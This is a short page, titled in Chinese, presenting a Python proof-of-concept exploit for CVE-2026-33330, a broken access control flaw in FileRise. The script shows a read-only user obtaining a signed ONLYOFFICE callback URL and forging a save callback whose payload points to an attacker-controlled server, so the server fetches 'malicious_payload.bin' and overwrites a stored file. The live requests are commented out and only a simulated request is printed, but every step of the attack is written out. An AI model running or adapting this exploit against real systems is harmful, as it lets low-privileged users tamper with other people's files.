CVE-2026-33330 FileRise访问控制漏洞

import requests # Proof of Concept for CVE-2026-33330 # Demonstrates how a read-only user might exploit the broken access control target_url = "http://target-filerise-instance.com" file_id = "1" malicious_file_url = "http://attacker-controlled-server.com/malicious_payload.bin" # 1. Authenticate as a low-privileged (read-only) user # session = requests.post(f"{target_url}/api/login", json={"username": "readonly_user", "password": "password"}) # 2. Request file edit details to obtain the signed 'callbackUrl' # In a real scenario, this endpoint returns the configuration for ONLYOFFICE # edit_response = session.get(f"{target_url}/api/files/{file_id}/edit") # callback_url = edit_response.json().get('callbackUrl') # The vulnerable signed URL callback_url = "http://target-filerise-instance.com/api/callback?signature=..." # Placeholder # 3. Forge the save callback request # The payload mimics what ONLYOFFICE sends when saving a document payload = { "status": 2, "url": malicious_file_url, "key": "file_key_identifier", "users": ["readonly_user"] } # 4. Send the forged request to overwrite the file # response = requests.post(callback_url, json=payload) # if response.status_code == 200: # print("[+] Exploit successful! File overwritten.") # else: # print("[-] Exploit failed.") print(f"Simulating POST request to: {callback_url}") print(f"Payload: {payload}")